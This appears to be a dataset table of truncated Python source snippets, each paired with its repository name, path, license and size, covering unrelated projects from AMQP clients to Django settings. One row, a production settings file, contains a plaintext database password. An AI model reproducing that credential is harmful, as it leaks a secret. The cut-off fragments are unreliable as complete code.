code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
from sris import db, models from messenger import Messenger from service import SMSService from datetime import datetime class Manager: """ The middle-man of interaction between messenger and the SMS service. """ def __init__(self): self.config = self.__load_config_file() self.messenge...
jawrainey/sris
sris/manager.py
Python
mit
7,789
#!/usr/bin/env python3 import sys import os from setuptools import setup, find_packages import amqpy if sys.version_info < (3, 2): raise Exception('amqpy requires Python 3.2 or higher') name = 'amqpy' description = 'an AMQP 0.9.1 client library for Python >= 3.2.0' keywords = ['amqp', 'rabbitmq', 'qpid'] clas...
gst/amqpy
setup.py
Python
mit
1,664
import sys import argparse from itertools import izip import math def parseArgument(): # Parse the input parser = argparse.ArgumentParser(description = "Make regions with 0 signal the average of their surrounding regions") parser.add_argument("--signalsFileName", required=True, help='Signals file') parser.add_argu...
imk1/IMKTFBindingCode
averageZeroSignalsWithinPeaks.py
Python
mit
2,918
#!/usr/bin/python3 #!python3 #encoding:utf-8 import sys import os.path import subprocess import configparser import argparse import web.service.github.api.v3.AuthenticationsCreator import web.service.github.api.v3.Client import database.src.Database import cui.uploader.Main import web.log.Log import database.src.contri...
trysrv/GitHub.Uploader.CuiCmd.201706231541
IssueCreate.py
Python
cc0-1.0
4,273
''' NPR Puzzle 2018-10-28 https://www.npr.org/2018/10/28/660936138/sunday-puzzle-row-row-row Think of a famous Broadway musical in two words. Change one letter in it to the preceding letter of the alphabet — so B would become A, C would become B, etc. Remove the space so you have a solid word. The result will nam...
boisvert42/npr-puzzle-python
2018/1028_musical_all_of_us.py
Python
cc0-1.0
1,235
import OOMP newPart = OOMP.oompItem(8826) newPart.addTag("oompType", "CAPC") newPart.addTag("oompSize", "0603") newPart.addTag("oompColor", "X") newPart.addTag("oompDesc", "PF100") newPart.addTag("oompIndex", "V50") OOMP.parts.append(newPart)
oomlout/oomlout-OOMP
old/OOMPpart_CAPC_0603_X_PF100_V50.py
Python
cc0-1.0
245
# Projectiles import pygame import environment from models import Projectile class Laser(Projectile): def __init__(self, laser_x, laser_y, sign=None, speed=20): self.laser_height = 20 self.laser_width = environment.WINDOW_WIDTH - laser_x self.laser_rect = pygame.Rect(laser_x, laser_y, sel...
mrnoodles/AI-Pygame
models/projectiles.py
Python
cc0-1.0
1,123
from __future__ import division import numpy as np import matplotlib.pyplot as plt import sys # # use pretty plotting if it can be imported # try: import seaborn except: pass sigma=5.67e-8 def find_tau(tot_trans,num_layers): """ # -TD- document using """ trans_layer=tot_trans**(1./num_layers) ...
dennissergeev/classcode
lib/equil_run.py
Python
cc0-1.0
5,877
import simplejson as json import urllib import urllib2 import time server = "" def GET(uri, params): params = urllib.urlencode(params) req = urllib2.Request(server + uri + "?" + params , headers={'Accept': 'application/json'}) return json.loads(urllib2.urlopen(req).read()) def POST(uri, params): para...
mozilla/iacomus-alerts
python/poster.py
Python
epl-1.0
2,563
# # ## # ## # ## # ## # ## # ## # ## # ## # ## # ## # ## # ## # ## # ## # #~ This file is part of NZBmegasearch by pillone. #~ #~ NZBmegasearch is free software: you can redistribute it and/or modify #~ it under the terms of the GNU General Public License as published by #~ the Free Software Foundation, either ver...
AntonioMtn/NZBMegaSearch
miscdefs.py
Python
gpl-2.0
12,563
#!/usr/bin/env python """ Marcos Moyano - marcos@anue.biz Logout users of a specified period of idle time. Copyright (c) 2006 Marcos Moyano This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foun...
marcosmoyano/idleout
src/idleoutd.py
Python
gpl-2.0
22,171
#!/usr/bin/python # This program processes an address trace generated by the Valgrind lackey tool # to create a reduced trace according to the Fastslim-Demand algorithm # described in "FastSlim: prefetch-safe trace reduction for I/O cache # simulation" by Wei Jin, Xiaobai Sun, and Jeffrey S. Chase in ACM Transaction...
2nd47/UofT-Projects
CSC369/Virtual Memory/traceprogs/fastslim.py
Python
gpl-2.0
2,771
# # Copyright (C) 2014-2015 # Sean Poyser (seanpoyser@gmail.com) # # This Program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # ...
AMOboxTV/AMOBox.LegoBuild
plugin.program.super.favourites/utils.py
Python
gpl-2.0
18,265
#!/usr/bin/env python3 # SPDX-License-Identifier: LGPL-2.1+ # systemd-networkd tests import argparse import os import re import shutil import signal import subprocess import sys import time import unittest from shutil import copytree network_unit_file_path='/run/systemd/network' networkd_runtime_directory='/run/syste...
dsd/systemd
test/test-network/systemd-networkd-tests.py
Python
gpl-2.0
156,648
# returns the current PeopleSoft semester code, as of today # if today is between semesters, returns the next semester code import cx_Oracle def getCurrentOrNextSemesterCX (self): file = open('/opt/Plone-2.5.5/zeocluster/client1/Extensions/Oracle_Database_Connection_NGUYEN_PRD.txt', 'r') for line in file.read...
uwosh/Campus_Directory_web_service
getCurrentOrNextSemesterCX.py
Python
gpl-2.0
1,292
#!/usr/bin/python ############################################################################### # NAME: new_graphics3.py # VERSION: 2.0.0b15 (18SEPTEMBER2006) # AUTHOR: John B. Cole, PhD (jcole@aipl.arsusda.gov) # LICENSE: LGPL ############################################################################### from PyP...
wintermind/pypedal
PyPedal/examples/new_graphics3.py
Python
gpl-2.0
1,123
# vim:fileencoding=utf-8 # Copyright 2001-2010 Gentoo Foundation # Distributed under the terms of the GNU General Public License v2 __all__ = ['keywords_header'] from portage import settings as ports from portage.output import colorize from display_pretty import colorize_string from display_pretty import align_string...
djanderson/equery
pym/gentoolkit/eshowkw/keywords_header.py
Python
gpl-2.0
3,555
## This file is part of Invenio. ## Copyright (C) 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, ...
pombredanne/invenio
modules/webaccess/lib/access_control_firerole.py
Python
gpl-2.0
15,550
import sys import math # dataset_3363_3 name = input().strip() + ".txt" lines = '' with open(name, 'r') as r: for line in r: lines += line.strip() + " " string = [i.lower() for i in lines.split()] from collections import Counter result = Counter(string).most_common(1)[0] #print(result) output = "out...
nizhikebinesi/code_problems_python
stepik/programming_on_python/3.4/task_2.py
Python
gpl-2.0
417
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # @Author: Adrien Chardon # @Date: 2014-11-16 14:29:10 # @Last Modified by: Adrien Chardon # @Last Modified time: 2014-11-16 16:31:32 import time as t ################################################################################ # Usefull functions ###################...
Nodraak/Prologin2015
4_Expert-itinerant.py
Python
gpl-2.0
3,054
#!/usr/bin/env python2 # -*- coding: iso-8859-1 -*- # WebKOM - a web based LysKOM client # # Copyright (C) 2000 by Peter Åstrand # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # o...
astrand/webkom
set_version.py
Python
gpl-2.0
1,081
# sbncng - an object-oriented framework for IRC # Copyright (C) 2011 Gunnar Beutner # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any l...
gunnarbeutner/sbncng
src/plugins/admincmd.py
Python
gpl-2.0
8,968
#!/usr/bin/python import os from AhsayTools import XmlConf, env_true, env_false # Map Enviroment Variables to server.xml > Xpath > attibute server_conf = XmlConf("/rdr/conf/server.xml") server_conf.set_attrib("Service/Connector", "port", "RDR_HTTP_PORT") server_conf.set_attrib("Service/Connector[@scheme='https']", "...
jeffre/docker-rdr
bootstrap/env_to_xml.py
Python
gpl-2.0
5,303
#!/usr/bin/env python # -*- coding: utf-8 -*- "Fully test this module's functionality through the use of fixtures." from megacosm.generators import Gem import unittest2 as unittest import fakeredis from config import TestConfiguration import fixtures class TestGem(unittest.TestCase): def setUp(self): "...
CityGenerator/Megacosm-Generator
tests/test_gem.py
Python
gpl-2.0
980
#!python2.7 ''' Created on Jul 13, 2014 @author: cilia ''' import os.path import os import time import sys import tempfile from utils.path import loadModule import utils conf = utils.get_conf() def run_task(task_conf): # import pdb; pdb.set_trace() print 'run task:', task_conf['task name'] task_func = lo...
XiaoLiuAI/RUPEE
src/python/main.py
Python
gpl-2.0
1,335
# -*- Mode: python; tab-width: 4; indent-tabs-mode:nil; coding:utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 # # MDAnalysis --- http://www.mdanalysis.org # Copyright (c) 2006-2016 The MDAnalysis Development Team and contributors # (see the file AUTHORS for the full list of names) # # Released under th...
kain88-de/mdanalysis
package/MDAnalysis/visualization/streamlines_3D.py
Python
gpl-2.0
25,088
# -*- coding: utf-8 -*- """ Created on Fri Dec 23 15:22:48 2011 @author: moritz """ __all__ = ["bslip"]
MMaus/mutils
cmodels/__init__.py
Python
gpl-2.0
106
# Copyright (C) weslowskij # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope...
olga-weslowskij/olga.weslowskij
Game/myLevenshteinChallenge.py
Python
gpl-2.0
14,955
#!/usr/bin/env python # -*- coding: utf-8 -*- """Provides an apt backend to PackageKit Copyright (C) 2007 Ali Sabil <ali.sabil@gmail.com> Copyright (C) 2007 Tom Parker <palfrey@tevp.net> Copyright (C) 2008-2009 Sebastian Heinlein <glatzor@ubuntu.com> Copyright (C) 2012 Martin Pitt <martin.pitt@ubuntu.com> Licensed un...
coolo/packagekit
backends/apt/aptBackend.py
Python
gpl-2.0
99,604
# Patchwork - automated patch tracking system # Copyright (C) 2017 Stephen Finucane <stephen@that.guru> # # SPDX-License-Identifier: GPL-2.0-or-later from collections import OrderedDict from rest_framework.generics import ListAPIView from rest_framework.serializers import ModelSerializer from rest_framework.serialize...
stephenfin/patchwork
patchwork/api/event.py
Python
gpl-2.0
3,356
# -*- coding: utf-8 -*- """ *************************************************************************** slope.py --------------------- Date : October 2013 Copyright : (C) 2013 by Alexander Bruy Email : alexander dot bruy at gmail dot com *******************...
gioman/QGIS
python/plugins/processing/algs/gdal/slope.py
Python
gpl-2.0
3,918
# plugins module for amsn2 """ Plugins with amsn2 will be a subclass of the aMSNPlugin() class. When this module is initially imported it should load the plugins from the last session. Done in the init() proc. Then the GUI should call plugins.loadPlugin(name) or plugins.unLoadPlugin(name) in order to deal with plugins....
kakaroto/amsn2
amsn2/plugins/core.py
Python
gpl-2.0
1,882
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2002-2006 Zuza Software Foundation # # This file is part of translate. # # translate is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2...
mail-apps/translate
translate/misc/optrecurse.py
Python
gpl-2.0
32,292
a=['999','1'] max_length=len(max(a,key=len)) tem=0 carry=0 for i in xrange(len(a)): while len(a[i])<max_length: a[i]='0'+a[i] for x in xrange(len(a)): a[x]=a[x][::-1] out='' for x in xrange(max_length): for i in a: tem+=int(i[x]) print(i[x],carry) tem+=carry carry=0 print(tem) if tem>9: carry=tem/10 ...
ytlai4851/Uva
Python/Q424.py
Python
gpl-2.0
392
import urllib import os import re from time import sleep from datetime import date def welcome(modulename): print """ |==========================================================| |====================== [ 404 ] ========================| |==============[ lordnotfound404@gmail.com ]==...
lordnotfound404/404web
wp_joom.py
Python
gpl-2.0
4,272
from django import forms from django.contrib.auth.models import Group from common.forms import ModelFormWithHelper from common.helpers import SubmitCancelFormHelper from community.constants import COMMUNITY_ADMIN from community.models import Community, CommunityPage from community.utils import get_groups from users.mo...
exploreshaifali/portal
systers_portal/community/forms.py
Python
gpl-2.0
3,969
#!/usr/bin/env python import os, Queue import sys from time import sleep from threading import Thread from libs.qemu import QemuInstance, UARTLineParser # External if len(sys.argv) > 1: print "ARGS:", str(sys.argv) sys.path.append(os.path.dirname( sys.argv[1] )) ########################################...
Colibri-Embedded/FABEmu
examples/rpiemu.py
Python
gpl-2.0
909
# -*- coding: utf-8 -*- import fauxfactory import pytest from widgetastic.utils import partial_match from cfme import test_requirements from cfme.infrastructure.provider import InfraProvider from cfme.infrastructure.provider.rhevm import RHEVMProvider from cfme.infrastructure.pxe import get_pxe_server_from_config, get...
anurag03/integration_tests
cfme/tests/services/test_pxe_service_catalogs.py
Python
gpl-2.0
5,998
#!/usr/bin/python import apt_pkg import logging import os import mock import sys import tempfile import unittest sys.path.insert(0, "..") from unattended_upgrade import _setup_logging class MockOptions: dry_run = False debug = False class TestLogdir(unittest.TestCase): def setUp(self): self.tem...
Jimdo/unattended-upgrades
test/test_logdir.py
Python
gpl-2.0
1,396
import os import re import mimetypes from collections import namedtuple from aiohttp import web from app.lib.helpers import ( http400, http404, ) DEFAULT_CONTENT_TYPE = 'application/octet-stream' FILENAME_PARSER = re.compile(r"(?P<id>\d+)_(?P<name>.+)\.(?P<format>.+)") ParsedFile = namedtuple('ParsedFile',...
cpwr/mediasite
app/lib/file.py
Python
gpl-2.0
2,779
#!/usr/bin/python # -*- coding: utf-8 -*- from gui.dwidgets import DMenu class SettingsMenu(DMenu): """docstring for SettingsMenu""" def __init__(self, parent=None): super(SettingsMenu, self).__init__(parent) self.parent = parent self.menuItems = [ { 'na...
dragondjf/musicplayer
gui/menus/settingsmenu.py
Python
gpl-2.0
3,819
# -*- coding: utf-8 -*- """ *************************************************************************** FindProjection.py ----------------- Date : February 2017 Copyright : (C) 2017 by Nyall Dawson Email : nyall dot dawson at gmail dot com *****************...
lbartoletti/QGIS
python/plugins/processing/algs/qgis/FindProjection.py
Python
gpl-2.0
6,167
""" Basic iscsi support for Linux host with the help of commands iscsiadm and tgtadm. This include the basic operates such as login and get device name by target name. And it can support the real iscsi access and emulated iscsi in localhost then access it. """ import re import os import logging from avocado.core imp...
vipmike007/avocado-vt
virttest/iscsi.py
Python
gpl-2.0
29,173
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from __future__ import print_function # python standard library from socket import socket import sys, os, re, stat, math, time, datetime import importlib # third party modules try: # unicode monkeypatch for windoze import win_unicode_console win_unicode_console.enab...
RUB-NDS/PRET
helper.py
Python
gpl-2.0
21,528
#!/usr/bin/python # This research is supported by the European Union Seventh Framework Programme (FP7/2007-2013), project ASPIRE (Advanced Software Protection: Integration, Research, and Exploitation), under grant agreement no. 609734; on-line at https://aspire-fp7.eu/. */ # The development of portions of the code co...
diablo-rewriter/diablo
obfuscation/diversity_engine/iterative_diablo/function_classification_evaluation.py
Python
gpl-2.0
5,609
# Copyright (C) 2006, 2007, 2008 One Laptop per Child # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program...
godiard/memorize-activity
model.py
Python
gpl-2.0
18,923
# Replaces the ctf values in input star file with the values in a reference star file import argparse import os from star import * def parse_args(): parser = argparse.ArgumentParser(description="Replaces the ctf values in input star file with the values in a reference star file.") parser.add_argument('--input', me...
KryoEM/relion2
python/star/replace_ctf.py
Python
gpl-2.0
2,295
from brian2 import * import brian2genn set_device('genn', directory='simple_example_synapses') #set_device('cpp_standalone') N = 100 tau = 10*ms eqs = ''' dV/dt = -V/tau + Iin/tau : 1 Iin : 1 ''' G = NeuronGroup(N, eqs, threshold='V>1', reset='V=0', name='PN') G.V = rand() G2 = NeuronGroup(N, eqs, threshold='V>1', re...
brian-team/brian2genn
examples/simple_example_synapses.py
Python
gpl-2.0
971
import gtk import pango import math from core.world import TheWorld class TextEditor(object): def __init__(self, text): self.__text = text self.cursorindex = 0 self.padding = 10.0 self.width = 0.0 self.height = 0.0 self.pixel_width = 0.0 self.pixel_height = 0.0 # create te...
antoinevg/survival
widgets/texteditor.py
Python
gpl-2.0
7,247
""" Django settings for SimpleChat project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...)...
jonathanendersby/SimpleChat
SimpleChat/SimpleChat/settings.py
Python
gpl-2.0
2,172
from .base import * DEBUG = False ALLOWED_HOSTS = ['*'] DATABASES = { 'default': { 'ENGINE': 'django.contrib.gis.db.backends.postgis',#'django.db.backends.postgresql_psycopg2', 'NAME': 'bauth', 'USER': 'postgres', 'ADMINUSER':'postgres', 'PASSWORD': 'C7TS*+dp~-9JHwb*7rzP', ...
kyrelos/bauth
settings/production.py
Python
gpl-2.0
640
# # Moisture control - Serial communication widgets # # Copyright (c) 2013 Michael Buesch <m@bues.ch> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at ...
mbuesch/moistcontrol
host/pymoistcontrol/commwidgets.py
Python
gpl-2.0
2,555
# Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html from scrapy.item import Item, Field class PopularArticlesItem(Item): # define the fields for your item here like: # name = Field() pass
Davidhw/WikipediaEditScrapingAndAnalysis
scraping_wikipedia_links/popular_articles/popular_articles/items.py
Python
gpl-2.0
276
#coding:utf-8 from django.shortcuts import render,render_to_response,redirect from django.core.urlresolvers import reverse from block.models import Blocks from models import Article from django.template import RequestContext from django.contrib import messages from django.contrib.auth.decorators import login_required ...
opspenguin/forum_penguin
article/views.py
Python
gpl-2.0
1,804
from rest_framework import serializers class MailTestSerializer(serializers.Serializer): EMAIL_HOST = serializers.CharField(max_length=1024, required=True) EMAIL_PORT = serializers.IntegerField(default=25) EMAIL_HOST_USER = serializers.CharField(max_length=1024) EMAIL_HOST_PASSWORD = serializers.CharF...
eli261/jumpserver
apps/settings/serializers.py
Python
gpl-2.0
1,295
#!/usr/bin/python2 import os,sys,socket,select from time import strftime variables = ['name','tripcode'] servercommands = ["/pm", "/peoplecount"] def date(): return strftime(".%Y-%m-%d") def chat_client(inputsocket,data,location): #initialize radchat client files if not os.path.exists(location+'/resources/pro...
Kosinkadink/techtem-network
resources/protocols/radchat.py
Python
gpl-2.0
3,558
from flask import Blueprint, request, render_template, jsonify from housesGenerator import House from holdings import Holdings houses = Blueprint('houses', __name__, url_prefix='/houses') @houses.route('/') def index(): return render_template('houses.html') @houses.route('/houseGenerator', methods=['GET', 'POS...
ondoheer/GOT-Platform
app/houses/views.py
Python
gpl-2.0
723
#!/usr/bin/env python3 import unittest, sys, findbits class TestFindBits(unittest.TestCase): def setUp(self): self.old_stdout = sys.stdout sys.stdout = OutputBuffer() def tearDown(self): sys.stdout = self.old_stdout INVERT_CASES = [ ('10', '01'), ('', ''),...
samyk/proxmark3
tools/findbits_test.py
Python
gpl-2.0
1,837
# -*- mode: python; coding: utf-8; -*- import os APP_NAME = "SLog" VERSION = "0.9.4" WEBSITE = "http://vialinx.org" LICENSE = """ SLog is a PyGTK-based GUI for the LightLang SL dictionary. Copyright 2007 Nasyrov Renat <renatn@gmail.com> This file is part of SLog. SLog is free software; you can redistribute it and/...
mdevaev/slog
src/common.py
Python
gpl-2.0
1,483
#!/usr/bin/env python3 # import sys import csv from pprint import pprint """2018.10.28 John Dey consume CSV output from pwalk and reassemble directory data. File system data from pwalk is flattened and out of order. Rewalk the tree data and create two new fields for each directory. Create a tree sum of file count and ...
fizwit/filesystem-reporting-tools
reassemble.py
Python
gpl-2.0
1,682
from http.server import SimpleHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn import threading class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): """Handle requests in a separate thread.""" if __name__ == '__main__': server = ThreadedHTTPServer(('localhost', 8000), SimpleHTTPRequestH...
jesah/leaflet_webgl
webserver.py
Python
gpl-2.0
407
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # Copyright (C) 2005-2008 Francisco José Rodríguez Bogado, # # Diego Muñoz Escalante. # # (pacoqueen@users.sourceforge.ne...
pacoqueen/ginn
ginn/formularios/confirmings.py
Python
gpl-2.0
54,543
# Copyright (C) 2016 - Yevgen Muntyan # Copyright (C) 2016 - Ignacio Casal Quinteiro # Copyright (C) 2016 - Arnavion # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of t...
wingtk/gvsbuild
gvsbuild/projects/grpc.py
Python
gpl-2.0
2,081
from .validator import Validator from ..util import register_as_validator class ExactLength(Validator): __validator_name__ = 'exact_length' def __init__(self, exact_length): super(ExactLength, self).__init__() self.exact_length = exact_length def validate(self, data, request=None, sessio...
Performante/pyFormante
pyFormante/validation/exact_length.py
Python
gpl-2.0
411
import jmri.jmrit.jython.Jynstrument as Jynstrument import jmri.jmrit.catalog.NamedIcon as NamedIcon import jmri.jmrit.symbolicprog.tabbedframe.PaneOpsProgAction as PaneOpsProgAction import javax.swing.JButton as JButton class DecoderPro(Jynstrument): def getExpectedContextClassName(self): return "javax.s...
ctag/cpe453
JMRI/jython/Jynstruments/Launchers/DecoderPro.jyn/DecoderPro.py
Python
gpl-2.0
744
#!/usr/bin/python # coding:utf-8 # Author: ASU --<andrei.suiu@gmail.com> # Purpose: Concurrent utility classes (name coming from RACEconditionLIBrary) # Created: 11/26/2015 import time __author__ = 'ASU' class ContextLock(): def __init__(self, lock): """ :param lock: :type lock: thread.Lo...
asuiu/pyxtension
py2/pyxtension/racelib.py
Python
gpl-2.0
1,107
''' Copyright (C) 2016 Quinn D Granfor <spootdev@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but ...
MediaKraken/mkarchive
main_server_weblog.py
Python
gpl-2.0
1,963
from Tools.Profile import profile from Tools.BoundFunction import boundFunction # workaround for required config entry dependencies. import Screens.MovieSelection from Components.PluginComponent import plugins from Plugins.Plugin import PluginDescriptor from Screens.Screen import Screen from Screens.MessageBox import ...
formiano/enigma2
lib/python/Screens/InfoBar.py
Python
gpl-2.0
33,112
# -*- coding: utf-8 -*- """ /*************************************************************************** Client for streaming based WPS. It exploits asynchronous capabilities of WPS and QGIS for visualizing intermediate results from a WPS ------------------- copyright : (C) 201...
GeoLabs/QgsWPSClient
streaming.py
Python
gpl-2.0
22,331
import json import logging from typing import List, Optional from uuid import uuid4 from django import http from django.conf import settings from django.core.exceptions import ObjectDoesNotExist from django.db import transaction from django.db.utils import OperationalError from django.views.decorators.http import requ...
specify/specify7
specifyweb/workbench/views.py
Python
gpl-2.0
37,610
from pymongo import MongoClient import json import requests import time from datetime import datetime def subredditInfo(sr, limit=100, sorting="top", period="day", user_agent="ChicagoSchool's scraper", **kwargs): """retrieves X (max 100) amount of stories in a subreddit 'sorting' is whether ...
lbybee/reddit_spelling_index
reddit_db_scraper.py
Python
gpl-2.0
2,876
# This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. import sys import os, os.path import errno import logging import time ...
jtoppins/beaker
LabController/src/bkr/labcontroller/provision.py
Python
gpl-2.0
14,901
from MaKaC.webinterface.rh import conferenceDisplay def index(req,**params): return conferenceDisplay.RHAbstractBook(req).process(params) def test(req,**params): return conferenceDisplay.RHAbstractBook(req).process(params)
belokop-an/agenda-tools
code/htdocs/confAbstractBook.py
Python
gpl-2.0
233
__author__ = 'duarte' import sys from preset import * import numpy as np """ spike_noise_input - standard network setup, driven with noisy, Poissonian input - quantify and set population state - run with noise_driven_dynamics in computations - debug with noise_driven_dynamics script """ run = 'local' data_label = 'ex...
rcfduarte/nmsat
projects/examples/parameters/noise_driven_dynamics.py
Python
gpl-2.0
6,567
#!/usr/bin/python #my_subnet = input("Enter Subnet address:") my_ip = "192.168.1.100" my_subnet = "255.255.255.0" ip = my_ip.split(".") print ip # Check the validity of the ip address while True: #my_ip = input("Enter a ip address:") if int(ip[0]) <= 223 and (int(ip[1]) != 169 or int(ip[2]) != 254) and (int(ip[...
hiteshagrawal/python
networking/subnet-cal.py
Python
gpl-2.0
620
#!/usr/bin/env python # # Copyright (C) 2014-2017 Nextworks # Author: Vincenzo Maffione <v.maffione@nextworks.it> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of...
edugrasa/demonstrator
gen.py
Python
gpl-2.0
37,281
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- # This file is part of Guadalinex # # This software is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, ...
rcmorano/gecosws-config-assistant
firstboot/serverconf/ServerConf.py
Python
gpl-2.0
5,970
__copyright__ = """ Copyright (C) 2006, Catalin Marinas <catalin.marinas@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be ...
miracle2k/stgit
stgit/commands/sync.py
Python
gpl-2.0
5,549
# Copyright (C) 2007-2012 Michael Foord & the mock team # E-mail: fuzzyman AT voidspace DOT org DOT uk # http://www.voidspace.org.uk/python/mock/ import os import sys import unittest from unittest.test.testmock import support from unittest.test.testmock.support import SomeClass, is_instance from test.test_importlib....
FFMG/myoddweb.piger
monitor/api/python/Python-3.7.2/Lib/unittest/test/testmock/testpatch.py
Python
gpl-2.0
55,727
# -* coding: utf-8 *- from PyQt4 import QtGui from collector.ui.gen.im_export import Ui_Dialog from collector.ui.views import Dialog from collector.ui.helpers.customtoolbar import CustomToolbar from collector.core.controller import get_manager from collector.core.plugin import PluginExporter, PluginImporter import logg...
arielvb/collector
collector/ui/views/im_export.py
Python
gpl-2.0
2,612
#!/usr/bin/python import xmlrpc.client from time import sleep def remoteCall(func, *args): try: ret = func(*args) return ret except xmlrpc.client.Fault as e: print(e) server = xmlrpc.client.ServerProxy("https://localhost:8080", allow_none=True) sid = remoteCall(server.login, "dj", "abc...
bitbyt3r/musicserver
start.py
Python
gpl-2.0
459
""" This tutorial introduces denoising auto-encoders (dA) using Theano. Denoising autoencoders are the building blocks for SdA. They are based on auto-encoders as the ones used in Bengio et al. 2007. An autoencoder takes an input x and first maps it to a hidden representation y = f_{\theta}(x) = s(Wx+b), paramete...
shamidreza/deepcca
dA_joint.py
Python
gpl-2.0
21,666
from Screen import Screen from Components.ActionMap import NumberActionMap from Components.config import config, ConfigNothing, ConfigBoolean, ConfigSelection from Components.Label import Label from Components.SystemInfo import SystemInfo from Components.ConfigList import ConfigListScreen from Components.Pixmap import ...
blzr/enigma2
lib/python/Screens/Setup.py
Python
gpl-2.0
5,693
''' A set of (smooth) loss functions. Created on Oct 2, 2014 @author: jiayu.zhou ''' import numpy as np; def least_squares(w, X, y): ''' least squares loss. MATLAB verified function. f(x) = 1/2 * ||X * w - y||_F^2. Parameters ---------- w: np.matrix X: np.matrix y: ...
jiayuzhou/pyProxSolver
org/jiayu/optimization/smooth.py
Python
gpl-2.0
563
# Copyright (c) 2016-2019 The University of Manchester # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This progra...
project-rig/spalloc
spalloc/scripts/support.py
Python
gpl-2.0
4,226
#!/usr/bin/python # Copyright (C) 2002 Noufal Ibrahim <noufal@cisco.com> # # This program is part of PfractL # # PfractL is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (a...
nibrahim/PFractL
PfractL.py
Python
gpl-2.0
14,705
import os from enigma import eConsoleAppContainer from Components.Harddisk import harddiskmanager opkgDestinations = [] opkgStatusPath = '' def opkgExtraDestinations(): global opkgDestinations return ''.join([" --dest %s:%s" % (i,i) for i in opkgDestinations]) def opkgAddDestination(mountpoint): pass #global opk...
kingvuplus/Test-OBH
lib/python/Components/Ipkg.py
Python
gpl-2.0
5,412
# -*- coding: utf-8 -*- ## ## This file is part of Invenio. ## Copyright (C) 2014, 2015 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your opt...
egabancho/invenio
invenio/modules/jsonalchemy/testsuite/test_parser.py
Python
gpl-2.0
10,487
from __future__ import unicode_literals from django.db import models # Create your models here. class Urls(models.Model): longurl = models.CharField(max_length=256) shorturl = models.CharField(max_length=128)
rodrigobersan/X-Serv-18.1-Practica1
project/acorta/models.py
Python
gpl-2.0
219
# -*- coding: utf-8 -*- __author__ = 'mkaplenko' import httplib import time class MobilMoneySms(object): def __init__(self, phone_to, message): self.phone_to = phone_to self.message = message self.sync = int(time.time()*100) class MobilMoneySmsClient(object): connection_host = 'gate....
mkaplenko/mobilmoney_sms
client.py
Python
gpl-2.0
1,933
#!/usr/bin/env python import binascii import hashlib from reversecoin.bitcoin.key import CKey as Key from reversecoin.bitcoin.base58 import encode, decode def myhash(s): return hashlib.sha256(hashlib.sha256(s).digest()).digest() def myhash160(s): h = hashlib.new('ripemd160') h.update(hashlib.sha256(s).di...
obulpathi/reversecoin
reversecoin/bitcoin/utils.py
Python
gpl-2.0
4,697
""" MUSE -- A Multi-algorithm-collaborative Universal Structure-prediction Environment Copyright (C) 2010-2017 by Zhong-Li Liu This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of t...
zhongliliu/muse
muse/Calculators/DirectOpt.py
Python
gpl-2.0
2,930
''' Copyright (C) 2017 Quinn D Granfor <spootdev@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but ...
MediaKraken/mkarchive
main_download.py
Python
gpl-2.0
3,059
